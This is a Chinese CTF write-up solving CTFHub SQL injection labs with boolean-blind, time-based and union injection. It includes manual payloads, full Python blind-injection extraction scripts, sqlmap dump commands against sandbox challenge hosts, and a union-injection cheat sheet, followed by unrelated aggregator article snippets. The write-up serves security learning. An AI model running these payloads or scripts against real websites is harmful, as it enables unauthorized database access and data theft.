SQL注入学习--GTFHub(布尔盲注+时间盲注+MySQL结构)

目录

布尔盲注

手工注入

 笔记

Boolean注入 #

使用脚本注入

sqlmap注入

 使用Burpsuite进行半自动注入

时间盲注

手工注入

 使用脚本注入

sqlmap注入

  使用Burpsuite进行半自动注入

MySQL结构

手工注入

sqlmap注入

 笔记

union 联合注入,手工注入的一般步骤

1.判断是否存在注入

2.判断字段数量,直到无回显异常为止

3.查询注入点

4.查询数据库版本

5.查询数据库名

6.爆库

7.查询表名

8.爆字段

10.爆数据


布尔盲注

布尔型盲注,页面不返回查询信息的数据,只能通过页面返回信息的真假条件判断是否存在注入。

手工注入

先尝试1

再尝试1',发现该注入类型为整数型注入

 判断数据库名长度

1 and length(database())>=1#

 结果数据库名的长度为4

 猜解数据库名

1 and substr(database(),1,1)='s'#

1 and substr(database(),2,1)='q'#

 最终一个一个试了下来数据库名是sqli

substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序。

 同样数据库名也可以用ASCII码查询

1 and ord(substr(database(),1,1))=97#(97为a的ASCII码)

 判断数据库表名

1 and substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='s'#//--修改1,1前边的1~20,逐字符猜解出第一个表的名
//--修改limit的0,1前边的0~20,逐个猜解每个表

 同样的方法表名也要一个字母一个字母的猜解

最后表名一个个试了之后,表名为news和flag

 判断数据库字段名

1 and substr((select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1),1,1)='f'#//--修改1,1前边的1~20,逐字符猜解出第一个字段的名
//--修改limit的0,1前边的0~20,逐个猜解每个字段

 一样的,最后的结果都是手工注入一个一个的猜解

获取数据

1 and substr((select flag from flag limit 0,1),1,1)='c'#

 笔记

Boolean注入 #

布尔型盲注,页面不返回查询信息的数据,只能通过页面返回信息的真假条件判断是否存在注入。

1、在参数后添加引号尝试报错,并用and 1=1#and 1=2#测试报错

?id=1' and 1=1#		页面返回正常
?id=1' and 1=2#		页面返回不正常

2、判断数据库名的长度

1'and length(database())>=1--+		页面返回正常
1'and length(database())>=13--+		页面返回正常
1'and length(database())>=14--+		页面返回错误由此判断得到数据库名的长度是13个字符

3、猜解数据库名

使用逐字符判断的方式获取数据库名;

数据库名的范围一般在a~z、0~9之内,可能还会有特殊字符 "_"、"-" 等,这里的字母不区分大小写。

' and substr(database(),1,1)='a'--+
' and substr(database(),2,1)='a'--+substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序。

用Burp爆破字母a的位置,即可得到数据库名每个位置上的字符。

还可以用ASCII码查询

a 的ASCII码是97,在MySQL中使用ord函数转换ASCII,所以逐字符判断语句可改为:

' and ord(substr(database(),1,1))=97--+

ASCII码表中可显示字符的范围是:0~127

4、判断数据库表名

' and substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a'--+--修改1,1前边的1~20,逐字符猜解出第一个表的名
--修改limit的0,1前边的0~20,逐个猜解每个表

5、判断数据库字段名

' and substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a'--+--修改1,1前边的1~20,逐字符猜解出第一个字段的名
--修改limit的0,1前边的0~20,逐个猜解每个字段

6、取数据

' and substr((select 字段名 from 表名 limit 0,1),1,1)='a'--+

当然如果嫌用Burp慢的话,可以自己编写脚本,修改payload就行了

一般盲注的话都是自己写脚本比较快。

使用脚本注入

这个脚本是找别人写的,不是很好,但自己又不会写,运行很慢,应该使用二分法写脚本,运行的要快一些

#导入库
import requests#设定环境URL,由于每次开启环境得到的URL都不同,需要修改!
url = 'http://challenge-f6368bfc5737a97c.sandbox.ctfhub.com:10800/'
#作为盲注成功的标记,成功页面会显示query_success
success_mark = "query_success"
#把字母表转化成ascii码的列表,方便便利,需要时再把ascii码通过chr(int)转化成字母
ascii_range = range(ord('a'),1+ord('z'))
#flag的字符范围列表,包括花括号、a-z,数字0-9
str_range = [123,125] + list(ascii_range) + list(range(48,58))#自定义函数获取数据库名长度
def getLengthofDatabase():#初始化库名长度为1i = 1#i从1开始,无限循环库名长度while True:new_url = url + "?id=1 and length(database())={}".format(i)#GET请求r = requests.get(new_url)#如果返回的页面有query_success,即盲猜成功即跳出无限循环if success_mark in r.text:#返回最终库名长度return i#如果没有匹配成功,库名长度+1接着循环i = i + 1#自定义函数获取数据库名
def getDatabase(length_of_database):#定义存储库名的变量name = ""#库名有多长就循环多少次for i in range(length_of_database):#切片,对每一个字符位遍历字母表#i+1是库名的第i+1个字符下标,j是字符取值a-zfor j in ascii_range:new_url = url + "?id=1 and substr(database(),{},1)='{}'".format(i+1,chr(j))r = requests.get(new_url)if success_mark in r.text:#匹配到就加到库名变量里name += chr(j)#当前下标字符匹配成功,退出遍历,对下一个下标进行遍历字母表break#返回最终的库名return name#自定义函数获取指定库的表数量
def getCountofTables(database):#初始化表数量为1i = 1#i从1开始,无限循环while True:new_url = url + "?id=1 and (select count(*) from information_schema.tables where table_schema='{}')={}".format(database,i)r = requests.get(new_url)if success_mark in r.text:#返回最终表数量return i#如果没有匹配成功,表数量+1接着循环i = i + 1#自定义函数获取指定库所有表的表名长度
def getLengthListofTables(database,count_of_tables):#定义存储表名长度的列表#使用列表是考虑表数量不为1,多张表的情况length_list=[]#有多少张表就循环多少次for i in range(count_of_tables):#j从1开始,无限循环表名长度j = 1while True:#i+1是第i+1张表new_url = url + "?id=1 and length((select table_name from information_schema.tables where table_schema='{}' limit {},1))={}".format(database,i,j)r = requests.get(new_url)if success_mark in r.text:#匹配到就加到表名长度的列表length_list.append(j)break#如果没有匹配成功,表名长度+1接着循环j = j + 1#返回最终的表名长度的列表return length_list#自定义函数获取指定库所有表的表名
def getTables(database,count_of_tables,length_list):#定义存储表名的列表tables=[]#表数量有多少就循环多少次for i in range(count_of_tables):#定义存储表名的变量name = ""#表名有多长就循环多少次#表长度和表序号(i)一一对应for j in range(length_list[i]):#k是字符取值a-zfor k in ascii_range:new_url = url + "?id=1 and substr((select table_name from information_schema.tables where table_schema='{}' limit {},1),{},1)='{}'".format(database,i,j+1,chr(k))r = requests.get(new_url)if success_mark in r.text:#匹配到就加到表名变量里name = name + chr(k)break#添加表名到表名列表里tables.append(name)#返回最终的表名列表return tables#自定义函数获取指定表的列数量
def getCountofColumns(table):#初始化列数量为1i = 1#i从1开始,无限循环while True:new_url = url + "?id=1 and (select count(*) from information_schema.columns where table_name='{}')={}".format(table,i)r = requests.get(new_url)if success_mark in r.text:#返回最终列数量return i#如果没有匹配成功,列数量+1接着循环i = i + 1#自定义函数获取指定库指定表的所有列的列名长度
def getLengthListofColumns(database,table,count_of_column):#定义存储列名长度的变量#使用列表是考虑列数量不为1,多个列的情况length_list=[]#有多少列就循环多少次for i in range(count_of_column):#j从1开始,无限循环列名长度j = 1while True:new_url = url + "?id=1 and length((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1))={}".format(database,table,i,j)r = requests.get(new_url)if success_mark in r.text:#匹配到就加到列名长度的列表length_list.append(j)break#如果没有匹配成功,列名长度+1接着循环j = j + 1#返回最终的列名长度的列表return length_list#自定义函数获取指定库指定表的所有列名
def getColumns(database,table,count_of_columns,length_list):#定义存储列名的列表columns = []#列数量有多少就循环多少次for i in range(count_of_columns):#定义存储列名的变量name = ""#列名有多长就循环多少次#列长度和列序号(i)一一对应for j in range(length_list[i]):for k in ascii_range:new_url = url + "?id=1 and substr((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1),{},1)='{}'".format(database,table,i,j+1,chr(k))r = requests.get(new_url)if success_mark in r.text:#匹配到就加到列名变量里name = name + chr(k)break#添加列名到列名列表里columns.append(name)#返回最终的列名列表return columns#对指定库指定表指定列爆数据(flag)
def getData(database,table,column,str_list):#初始化flag长度为1j = 1#j从1开始,无限循环flag长度while True:#flag中每一个字符的所有可能取值for i in str_list:new_url = url + "?id=1 and substr((select {} from {}.{}),{},1)='{}'".format(column,database,table,j,chr(i))r = requests.get(new_url)#如果返回的页面有query_success,即盲猜成功,跳过余下的for循环if success_mark in r.text:#显示flagprint(chr(i),end="")#flag的终止条件,即flag的尾端右花括号if chr(i) == "}":print()return 1break#如果没有匹配成功,flag长度+1接着循环j = j + 1#--主函数--
if __name__ == '__main__':#爆flag的操作#还有仿sqlmap的UI美化print("Judging the number of tables in the database...")database = getDatabase(getLengthofDatabase())count_of_tables = getCountofTables(database)print("[+]There are {} tables in this database".format(count_of_tables))print()print("Getting the table name...")length_list_of_tables = getLengthListofTables(database,count_of_tables)tables = getTables(database,count_of_tables,length_list_of_tables)for i in tables:print("[+]{}".format(i))print("The table names in this database are : {}".format(tables))#选择所要查询的表i = input("Select the table name:")if i not in tables:print("Error!")exit()print()print("Getting the column names in the {} table......".format(i))count_of_columns = getCountofColumns(i)print("[+]There are {} tables in the {} table".format(count_of_columns,i))length_list_of_columns = getLengthListofColumns(database,i,count_of_columns)columns = getColumns(database,i,count_of_columns,length_list_of_columns)print("[+]The column(s) name in {} table is:{}".format(i,columns))#选择所要查询的列j = input("Select the column name:")if j not in columns:print("Error!")exit()print()print("Getting the flag......")print("[+]The flag is ",end="")getData(database,i,j,str_range)

 数据库名,表名,字段名都出来了,但字段数据的内容跑不出来,太慢了

sqlmap注入

sqlmap -u http://challenge-f6368bfc5737a97c.sandbox.ctfhub.com:10800/?id=1

 爆数据库名

sqlmap -u http://challenge-f6368bfc5737a97c.sandbox.ctfhub.com:10800/?id=1 -current-db

 爆表名

sqlmap -u http://challenge-f6368bfc5737a97c.sandbox.ctfhub.com:10800/?id=1 -D sqli -tables

 爆字段名

sqlmap -u http://challenge-f6368bfc5737a97c.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -columns

 爆数据

sqlmap -u http://challenge-f6368bfc5737a97c.sandbox.ctfhub.com:10800/?id=1  -D sqli -T flag -C flag -dump

 使用Burpsuite进行半自动注入

前几步适合手工注入一样的操作

 先尝试1

再尝试1',发现该注入类型为整数型注入

 判断数据库名长度

1 and length(database())>=1#

 结果数据库名的长度为4

 爆破数据库名

1 and substr(database(),1,1)='s'#

 抓包爆破,原理还是和手工注入的一样都是一个字符一个字符的按顺序猜解数据库名、表名、列名、字段名、字段内容,猜解出来的结果需要一个字符一个字符的拼接起来,总体来说跟手工注入一样,只是不用一句一句反复的注入。使用Burpsuite进行半自动注入需要使用字典,但是我注入的时候,总是会反复注入错误,没有准确的爆出数据库名、表名、列名、字段名及字段内容。

使用Burpsuite进行半自动注入参考:【精选】SQL注入:布尔盲注和时间盲注——CTFHUB 使用Burpsuite进行半自动注入_ctfhub布尔注入-CSDN博客

时间盲注

盲注是在SQL注入攻击过程中,服务器关闭了错误回显,单纯通过服务器返回内容的变化来判断是否存在SQL注入的方式 。

可以用benchmark,sleep等造成延时效果的函数。

如果benkchmark和sleep关键字被过滤了,可以让两个非常大的数据表做笛卡尔积

(opens new window)产生大量的计算从而产生时间延迟;

或者利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟。

手工注入

先输入1和1'除了下面的回显都没有什么明显的不同

 看来是要用sleep函数判断其注入方式

1 and sleep(5) and 1=1#

 有5秒延迟,证明其注入方式是整数型注入

 接着判断数据库名长度

1 and if(length(database())=4,sleep(5),1)#

 有5秒延迟,证明数据库名长度为4

 猜解数据库名,接下来的操作和布尔盲注的手工注入的操作一样,只是多加了sleep函数利用延迟来判断猜解的结果是否正确

1 and if(substr(database(),1,1)='s',sleep(5),1)#

有延迟证明猜解正确

 一系列的操作和布尔盲注的一样,最后猜解出的数据库名为sqli

猜解表名

1 and if(substring((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='f',sleep(5),1)#

存在延迟证明猜解正确

最后一个一个的猜解的出表名为flag,news

猜解字段名

1 and if(substring((select column_name from information_schema.columns where table_name='flag'),1,1)='f',sleep(5),1)#

存在延迟证明猜解正确

最后的猜解结果为flag

获取字段内容

1 and if(substring((select flag from sqli.flag),1,1)='c',sleep(5),1)#

存在延迟证明猜解正确,但是结果需要一个一个的进行猜解,过程很长也很繁琐

 使用脚本注入

知道盲注的原理就是判断出长度,以该长度的为目标,将数据一个一个的猜解正确最后拼接得到完整的答案

使用python脚本:

import requests
import sys
import timesession=requests.session()
url = "http://challenge-e2482ff60c0cb4ce.sandbox.ctfhub.com:10800/?id="
name = ""for k in range(1,10):for i in range(1,10):print(i)for j in range(31,128):j = (128+31) -jstr_ascii=chr(j)#数据库名#payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))#表名#payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))#字段名payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))start_time=time.time()str_get = session.get(url=url + payolad)end_time = time.time()t = end_time - start_timeif t > 1:if str_ascii == "+":sys.exit()else:name+=str_asciibreakprint(name)#查询字段内容
for i in range(1,50):print(i)for j in range(31,128):j = (128+31) -jstr_ascii=chr(j)payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)start_time = time.time()str_get = session.get(url=url + payolad)end_time = time.time()t = end_time - start_timeif t > 1:if str_ascii == "+":sys.exit()else:name += str_asciibreakprint(name)
import requests
import string
import timedef get_database(url):database = ''for i in range(1, 9):for j in string.ascii_letters:target = url + 'if(substr(database(),%d,1)="%s",sleep(3),1)' % (i, j)time1 = time.time()request = requests.get(target)time2 = time.time()if time2 - time1 > 2:database += jprint(database)breakprint('Database:', database)return databasedef get_table(url, database):tablesname = []for i in range(0, 2):name = ''for j in range(1, 6):for k in string.ascii_letters:target = url + 'if(substr((select table_name from information_schema.tables where table_schema="' +\database + '" limit %d,1),%d,1)="%s",sleep(3),1)' % (i, j, k)time1 = time.time()request = requests.get(target)time2 = time.time()if time2 - time1 > 2:name += kprint(name)breaktablesname.append(name)print('Tablesame:', tablesname)return input("Choose TableName:")def get_columns(url, tablename, database):columns = []for i in range(0, 3):name = ''for j in range(1, 6):for k in string.ascii_letters:target = url + 'if(substr((select column_name from information_schema.columns where table_name="'\+ tablename + '" and table_schema="' + database\+ '" limit %d,1),%d,1)="%s",sleep(3),1)' % (i, j, k)time1 = time.time()request = requests.get(target)time2 = time.time()if time2 - time1 > 2:name += kprint(name)breakcolumns.append(name)print('Columnsname:', columns)return input("Choose Columnname:")def getdata(url, tablename, database, columns):data = ''for i in range(0, 50):for j in string.digits\+ string.ascii_letters\+ string.punctuation:target = url + 'if(substr((select '\+columns\+ ' from ' + tablename\+ '),%d,1)="%s",sleep(3),1)' % (i, j)time1 = time.time()request = requests.get(target)time2 = time.time()if time2 - time1 > 2:data += jprint(data)breakprint(data)if __name__ == "__main__":url = "http://challenge-e2482ff60c0cb4ce.sandbox.ctfhub.com:10800/?id="database = get_database(url)tablename = get_table(url, database)columns=get_columns(url, tablename, database)getdata(url, tablename, database,columns)

 要得到flag,脚本运行的时间就会很长,这里的两个脚本,第一个是单独爆破,第二个是直接一次性爆破要的时间就会更长

sqlmap注入

查询是否存在sqlmap注入命令

sqlmap -u http://challenge-e2482ff60c0cb4ce.sandbox.ctfhub.com:10800/?id=1 

 爆数据库名

sqlmap -u http://challenge-e2482ff60c0cb4ce.sandbox.ctfhub.com:10800/?id=1 --current-db

 爆表名

sqlmap -u http://challenge-e2482ff60c0cb4ce.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

 爆字段名

sqlmap -u http://challenge-e2482ff60c0cb4ce.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

 获取字段内容

sqlmap -u http://challenge-e2482ff60c0cb4ce.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch

  使用Burpsuite进行半自动注入

半自动注入参考:【精选】SQL注入:布尔盲注和时间盲注——CTFHUB 使用Burpsuite进行半自动注入_ctfhub布尔注入-CSDN博客

 原理都是一样的,都是先判断注入方式,再判断长度,之后根据长度一个一个的猜解拼接,只是用Burpsuite抓包爆破需要字典,爆破后的结果都是需要自己去按照顺序一个一个地拼接起来

MySQL结构

手工注入

先输入1 and 1=1

 接着输入1 and 1=2,出现报错证明存在sql注入,且注入方式为整数型注入

 使用order by 判断字段数量,从order by 1开始

   到1 order by 3无回显,证明字段数量为2列

知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

判断数据可能不存在数据库中,在id=1中加入负号可以查看到不存在数据库中的数据

 修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

修改2为database(),查看数据库名,发现数据库版本为sqli

查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata

 发现sqli库名不是数据库自带的,最后在sqli数据库中发现udddzaktuq和news两个表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

先查看udddzaktuq表中的全部字段名,发现一个数据名为htejqujvuv

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='lvlbiqemvj'

 查看数据htejqujvuv中的内容,发现此题flag

-1 union select 1,group_concat(htejqujvuv) from sqli.udddzaktuq 

这里的手工注入同样可以使用布尔盲注手工注入的方式进行注入,但是猜解的过程将会更加的繁琐,过程也会更加的漫长,因为这里的数据库不止一个,而手工注入猜解的是一个字符一个字符的进行猜解,所以使用的是union 联合注入

UNION联合查询的作用:把多个表中的数据联合在一起进行显示

sqlmap注入

查询数据库名

sqlmap -u http://challenge-6dbab756590110ad.sandbox.ctfhub.com:10800/?id=1 --dbs 

 尝试使用sqli数据库来查询表

sqlmap -u http://challenge-6dbab756590110ad.sandbox.ctfhub.com:10800/?id=1  -D sqli –tables

查询udddzaktuq表提取字段内容

sqlmap -u http://challenge-6dbab756590110ad.sandbox.ctfhub.com:10800/?id=1  -D sqli -T udddzaktuq --columns --dump

 最终得到表里的数据名及数据内容

 笔记

union 联合注入,手工注入的一般步骤

1.判断是否存在注入

    and 1 = 1
    and 1 = 2
    or 1 = 1
    or 1 = 2
    ?id=1' and 1' = 1'
    ?id=1' and 1' = 2'

2.判断字段数量,直到无回显异常为止

    order by 1    #正常
    order by 2    #正常
    order by 3    #异常

3.查询注入点

    ?id=1 union select 1,2    #8为异常无回显
    ?id=-1 union select 1,2    #如果数据不存在数据库中,可以使用负号查找
    ?id=0 union select 1,2    #如果数据不存在数据库中,也可以使用零查找

4.查询数据库版本

    union select 1,version()    '''替换2为 version()
                                   查询sql数据库版本'''

5.查询数据库名

    union select 1,database()    '''替换为 database()
                                    查询数据库名'''

6.爆库

    #数据库自带的表information_schema,其中包含所有的数据库信息
    #schema_name 数据库名称
    union select 1,group_concat(schema_name)from information_schema.schemata

7.查询表名

    #table_name 表格名称
    union select 1,group_concat(table_name) from information_schema.tables where table_schema='表名'

8.爆字段

    #column_name 字段名称
    union select 1,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'

10.爆数据

union select 1,group_concat(数据名) from 库名.表名

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/145351.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Mysql系列】Mysql基础篇

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

低代码编辑平台后台实现

背景 之前做过一个前端低代码编辑平台,可以实现简单的移动端页面组件拖拽编辑: https://github.com/li-car-fei/react-visual-design 最近基于C的oatpp框架实现了一下后台。使用oatpp框架做web后台开发时,发现按照官方的示例使用的话&#…

Babyk勒索病毒数据集恢复,计算机服务器中了babyk勒索病毒怎么办?

计算机网络技术的不断应用,为企业的生产运营提供了极大便利,网络技术的不断发展也带来了许多网络安全隐患,近期,云天数据恢复中心陆续接到许多企业的求助,企业的计算机服务器遭到了babyk勒索病毒的攻击,导致…

text/xml和application/xml

困惑 在http消息中,同样是传送xml信息,有的时候看到Content-Type的值是text/xml,有的时候值是application/xml,感到困惑。 例如,用Postman发送http消息给Tomcat中的基于JAX-WS的 web服务: 请求中传送了xm…

vue3基础学习(上)

##以前怎么玩的? ###MVC Model:Bean View:视图 Controller ##vue的ref reactive ref:必须是简单类型 reactive:必须不能是简单类型 ###创建一个Vue项目 npm init vuelatest ###生命周期 ###setup相关 ####Vue2的一些写法 -- options API ####Vue3的写法 组合式API Vu…

洗地机选购攻略,洗地机哪个品牌好?一篇教会你挑到好用的洗地机

随着国内生活水平的提高,智能清洁产品的呼声也越来越高,尤其是洗地机,可以说是国内各个品牌的洗地机铺天盖地而来,那么如何挑选洗地机成了很多新手的困惑,别着急,笔者今天就给大家讲讲洗地机! 一、购买洗地…

【Axure教程】滑动内容选择器

滑动内容选择器通常是一种用户界面组件,允许用户通过滑动手势在一组内容之间进行选择。这种组件可以在移动应用程序或网页中使用,以提供直观的图片选择体验。 那今天就教大家如何用中继器制作一个滑动内容选择器,我们会以滑动选择电影为案例…

HTML5学习系列之标题和正文、描述性信息

HTML5学习系列之标题和正文、描述性信息 标题和正文标题段落 描述性信息强调注解备选上下标术语代码预定义格式缩写词编辑提示引用引述换行显示修饰非文本注解 总结 标题和正文 标题 按语义轻重排列&#xff1a;h1\h2\h3\h4\h5\h6 <h1>诗词介绍</h1> <h2>…

外汇天眼:什么是非农?非农数据对外汇市场的重要性!

非农数据在外汇市场中扮演着何等关键的角色&#xff1f; 美国非农数据&#xff0c;简称“非农”&#xff0c;具体指排除农业部门、个体户和非盈利机构雇员后的就业相关数据&#xff0c;是反映美国经济实际就业和整体经济状况的关键指标。该数据由美国劳工部劳动统计局每月发布…

ExoPlayer架构详解与源码分析(8)——Loader

系列文章目录 ExoPlayer架构详解与源码分析&#xff08;1&#xff09;——前言 ExoPlayer架构详解与源码分析&#xff08;2&#xff09;——Player ExoPlayer架构详解与源码分析&#xff08;3&#xff09;——Timeline ExoPlayer架构详解与源码分析&#xff08;4&#xff09;—…

map和set的简易封装(纯代码)

RBTree.h #pragma once#include<iostream> #include<vector> using namespace std;enum colar { red,black };template<class T>//有效参数就一个 struct RBTreeNode {RBTreeNode(const T& data):_left(nullptr), _right(nullptr), _parent(nullptr)…

黑马点评回顾 redis实现共享session

文章目录 传统session缺点整体访问流程代码实现生成验证码登录 问题具体思路 传统session缺点 传统单体项目一般是把session存入tomcat&#xff0c;但是每个tomcat中都有一份属于自己的session,假设用户第一次访问第一台tomcat&#xff0c;并且把自己的信息存放到第一台服务器…

免费的快速手机文件解压APP,快冲

各位小伙伴们大家好&#xff0c;今天我要介绍一款手机上必备的神奇工具&#xff01;你有没有经常遇到需要解压文件情况呢&#xff1f;还在为不知道用哪个软件而烦恼吗&#xff1f;别担心&#xff0c;我给你带来了解决方案 &#xff0c;就是这一款免费的解压精灵。 解压精灵是一…

【Nginx】使用nginx进行反向代理与负载均衡

使用场景 反向代理&#xff1a;一个网站由许多服务器承载的&#xff0c;网站只暴露一个域名&#xff0c;那么这个域名指向一个代理服务器ip&#xff0c;然后由这台代理服务器转发请求到网站负载的多台服务器中的一台处理。这就需要用到Nginx的反向代理实现了 负载均衡&#xf…

怎么去掉邮件内容中的回车符

上图是Outlook 截图&#xff0c;可见1指向的总有回车符&#xff1b; 故障原因&#xff1a; 不小心误按了箭头4这个选项&#xff1b; 解决方法&#xff1a; 点击2箭头确保tab展开&#xff1b; 点击3以找到箭头4. 取消勾选或者多次点击&#xff0c;即可解决。

单区域OSPF配置

配置命令步骤&#xff1a; 1.使用router ospf 进程ID编号 启用OSPF路由 2.使用network 直连网络地址 反掩码 area 0 将其归于区域0 注意&#xff1a;1.进程ID编号可任意&#xff08;1-65535&#xff09;2.反掩码用4个255相减得到 如下图&#xff0c;根据给出要求配置OSPF单区…

HT8313 D/AB切换 音频功率放大器

HT8313具有AB类和D类的自Y切换功能&#xff0c;在受到D类功放EMI干扰困扰时&#xff0c;可随时切换至AB类音频功放模式&#xff08;此时电荷泵升压功能关闭&#xff09;。 HT8313内部固定28dB增益&#xff0c;内置的关断功能使待机电流Z小化&#xff0c;还集成了输出端过流保护…

JavaEE进阶学习:Spring核心和设计思想

Spring 是什么 我们通常所说的 Spring 指的是 Spring Framework&#xff08;Spring 框架&#xff09;&#xff0c;它是⼀个开源框架&#xff0c;有着活跃而庞大的社区&#xff0c;这就是它之所以能长久不衰的原因。Spring 支持广泛的应用场景&#xff0c;它可以让 Java 企业级…

PP-ChatOCRv2、PP-TSv2、大模型半监督学习工具...PaddleX新特性等你来pick!

小A是一名刚刚毕业的算法工程师&#xff0c;有一天&#xff0c;他被老板安排了一个活&#xff0c;要对一批合同扫描件进行自动化信息抽取&#xff0c;输出结构化的分析报表。OCR问题不大&#xff0c;但是怎么进行批量的结构化信息抽取呢&#xff1f;小A陷入了苦苦思索… 小B是…

Java获取Jar、War包路径,并生成可编辑修改的本地配置文件

前言 本地的可修改配置文件的编写理应是一个很常用的功能&#xff0c;但由于数据库的存在&#xff0c;它鲜少被提及&#xff0c;大多数我们直接存储到数据库中了。 以至于现今&#xff0c;除了没接触数据库的新手时常使用它以外&#xff0c;它没有太多的出场机会。 也因此&am…